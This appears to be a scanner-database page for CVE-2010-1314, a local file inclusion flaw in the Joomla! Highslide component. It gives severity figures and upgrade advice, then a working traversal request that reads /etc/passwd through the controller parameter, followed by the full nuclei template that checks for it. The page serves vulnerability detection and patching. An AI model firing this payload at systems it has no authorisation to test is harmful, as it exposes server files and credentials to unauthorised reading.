Joomla! Component Highslide 1.5 - Local File Inclusion

mediumseverity

5CVSS score

15.9%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in the Highslide JS (com_hsconfig) component 1.5 and 2.0.9 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_hsconfig&controller=../../../../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-1314 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2010-1314

info:
  name: Joomla! Component Highslide 1.5 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the Highslide JS (com_hsconfig) component 1.5 and 2.0.9 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12086
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1314
    - http://packetstormsecurity.org/1004-exploits/joomlahsconfig-lfi.txt
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-1314
    cwe-id: CWE-22
    epss-score: 0.15909
    epss-percentile: 0.96919
    cpe: cpe:2.3:a:joomlanook:com_hsconfig:1.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomlanook
    product: com_hsconfig
  tags: cve,cve2010,lfi,edb,packetstorm,joomla,joomlanook,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_hsconfig&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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